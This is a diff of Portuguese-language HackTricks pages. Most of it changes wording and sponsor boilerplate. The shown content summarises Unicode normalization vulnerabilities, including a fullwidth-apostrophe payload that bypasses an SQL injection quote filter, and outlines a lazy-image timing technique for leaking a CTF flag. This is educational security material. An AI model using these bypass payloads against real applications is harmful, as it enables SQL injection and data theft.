Verifique [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)
|
||||
|
||||
|
@ -233,7 +233,7 @@ Verifique [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](http
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -17,12 +17,12 @@ Outras maneiras de apoiar o HackTricks:
|
|||
**Este é um resumo de: [https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)**. Confira para mais detalhes (imagens retiradas de lá).
|
||||
|
||||
|
||||
## Compreensão de Unicode e Normalização
|
||||
## Compreensão do Unicode e Normalização
|
||||
|
||||
A normalização Unicode é um processo que garante que diferentes representações binárias de caracteres sejam padronizadas para o mesmo valor binário. Esse processo é crucial ao lidar com strings em programação e processamento de dados. O padrão Unicode define dois tipos de equivalência de caracteres:
|
||||
|
||||
1. **Equivalência Canônica**: Os caracteres são considerados equivalentes canonicamente se tiverem a mesma aparência e significado quando impressos ou exibidos.
|
||||
2. **Equivalência de Compatibilidade**: Uma forma mais fraca de equivalência onde os caracteres podem representar o mesmo caractere abstrato, mas podem ser exibidos de maneira diferente.
|
||||
2. **Equivalência de Compatibilidade**: Uma forma mais fraca de equivalência onde os caracteres podem representar o mesmo caractere abstrato, mas podem ser exibidos de forma diferente.
|
||||
|
||||
Existem **quatro algoritmos de normalização Unicode**: NFC, NFD, NFKC e NFKD. Cada algoritmo emprega técnicas de normalização canônica e de compatibilidade de maneiras diferentes. Para uma compreensão mais aprofundada, você pode explorar essas técnicas em [Unicode.org](https://unicode.org/).
|
||||
|
||||
|
@ -39,7 +39,7 @@ Compreender a codificação Unicode é fundamental, especialmente ao lidar com p
|
|||
É crucial compreender esses conceitos para lidar efetivamente e mitigar problemas potenciais decorrentes da complexidade do Unicode e de seus diversos métodos de codificação.
|
||||
|
||||
|
||||
Um exemplo de como Unicode normaliza dois bytes diferentes representando o mesmo caractere:
|
||||
Um exemplo de como o Unicode normaliza dois bytes diferentes representando o mesmo caractere:
|
||||
```python
|
||||
unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "chlo\u00e9")
|
||||
```
|
||||
|
@ -47,7 +47,7 @@ unicodedata.normalize("NFKD","chloe\u0301") == unicodedata.normalize("NFKD", "ch
|
|||
|
||||
### Descoberta
|
||||
|
||||
Se você encontrar dentro de um aplicativo da web um valor que está sendo ecoado de volta, você poderia tentar enviar o **'SINAL DE KELVIN' (U+0212A)** que **normaliza para "K"** (você pode enviá-lo como `%e2%84%aa`). **Se um "K" for ecoado de volta**, então, algum tipo de **normalização Unicode** está sendo realizada.
|
||||
Se você encontrar dentro de um aplicativo da web um valor que está sendo ecoado de volta, você poderia tentar enviar **'KELVIN SIGN' (U+0212A)** que **normaliza para "K"** (você pode enviá-lo como `%e2%84%aa`). **Se um "K" for ecoado de volta**, então, algum tipo de **normalização Unicode** está sendo realizada.
|
||||
|
||||
Outro **exemplo**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D%94%B0%F0%9D%94%A5%F0%9D%99%96%F0%9D%93%83` após a **unicode** é `Leonishan`.
|
||||
|
||||
|
@ -55,7 +55,7 @@ Outro **exemplo**: `%F0%9D%95%83%E2%85%87%F0%9D%99%A4%F0%9D%93%83%E2%85%88%F0%9D
|
|||
|
||||
### **Burla de filtro de Injeção SQL**
|
||||
|
||||
Imagine uma página da web que está usando o caractere `'` para criar consultas SQL com a entrada do usuário. Esta página da web, como medida de segurança, **deleta** todas as ocorrências do caractere **`'`** da entrada do usuário, mas **após essa exclusão** e **antes da criação** da consulta, ela **normaliza** usando **Unicode** a entrada do usuário.
|
||||
Imagine uma página da web que está usando o caractere `'` para criar consultas SQL com a entrada do usuário. Esta web, como medida de segurança, **deleta** todas as ocorrências do caractere **`'`** da entrada do usuário, mas **após essa exclusão** e **antes da criação** da consulta, ela **normaliza** usando **Unicode** a entrada do usuário.
|
||||
|
||||
Então, um usuário malicioso poderia inserir um caractere Unicode diferente equivalente a `' (0x27)` como `%ef%bc%87`, quando a entrada é normalizada, uma aspa simples é criada e uma **vulnerabilidade de Injeção SQL** aparece:
|
||||
|
||||
|
@ -101,14 +101,14 @@ Observe que, por exemplo, o primeiro caractere Unicode proposto pode ser enviado
|
|||
|
||||
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (215) (1).png>)
|
||||
|
||||
### Fuzzing Regexes
|
||||
### Fuzzing de Regexes
|
||||
|
||||
Quando o backend está **verificando a entrada do usuário com um regex**, pode ser possível que a **entrada** esteja sendo **normalizada** para o **regex** mas **não** para onde está sendo **usada**. Por exemplo, em um Redirecionamento Aberto ou SSRF o regex pode estar **normalizando o URL enviado** mas então **acessando-o como está**.
|
||||
|
||||
A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) permite **gerar variações da entrada** para fuzz o backend. Para mais informações, verifique o **github** e este [**post**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) permite **gerar variações da entrada** para fuzzar o backend. Para mais informações, verifique o **github** e este [**post**](https://0xacb.com/2022/11/21/recollapse/).
|
||||
|
||||
|
||||
# Referências
|
||||
## Referências
|
||||
* [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
|
||||
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
|
||||
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
|
||||
|
@ -119,7 +119,7 @@ A ferramenta [**recollapse**](https://github.com/0xacb/recollapse) permite **ger
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -124,10 +124,10 @@ break;
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -65,10 +65,10 @@ break;
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -25,7 +25,7 @@ A ideia por trás deste exploit é:
|
|||
* As postagens são carregadas em ordem alfabética
|
||||
* Um **atacante** pode **injetar** uma **postagem** começando com **"A"**, então alguma **tag HTML** (como um grande **`<canvas`**) ocupará a maior parte da **tela** e algumas tags finais de **`<img lazy`** para carregar coisas.
|
||||
* Se em vez de um "A" o **atacante injetar a mesma postagem, mas começando com um "z"**. A **postagem** com a **flag** aparecerá **primeiro**, então a **postagem** **injetada** aparecerá com o "z" inicial e o **grande** **canvas**. Como a postagem com a flag apareceu primeiro, o primeiro canvas ocupará toda a tela e as tags finais de **`<img lazy`** injetadas **não serão vistas** na tela, então elas **não serão carregadas**.
|
||||
* Então, **enquanto** o bot está **acessando** a página, o **atacante** enviará **solicitações fetch**. 
|
||||
* Então, **enquanto** o bot está **acessando** a página, o **atacante** enviará **solicitações fetch**.
|
||||
* Se as **imagens** injetadas na postagem estão sendo **carregadas**, essas **solicitações fetch** levarão **mais tempo**, então o atacante sabe que a **postagem está antes da flag** (em ordem alfabética).
|
||||
* Se as **solicitações fetch** forem **rápidas**, significa que a **postagem** está **em ordem alfabética depois** da flag.
|
||||
|
||||
|
@ -157,7 +157,7 @@ resolve(isFound)
|
|||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -82,7 +82,7 @@ hack.innerHTML = iframe
|
|||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦** [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -121,7 +121,7 @@ main()
|
|||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,12 +2,12 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> - <a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦** [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
@ -58,10 +58,10 @@ document.addEventListener('DOMContentLoaded', main);
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
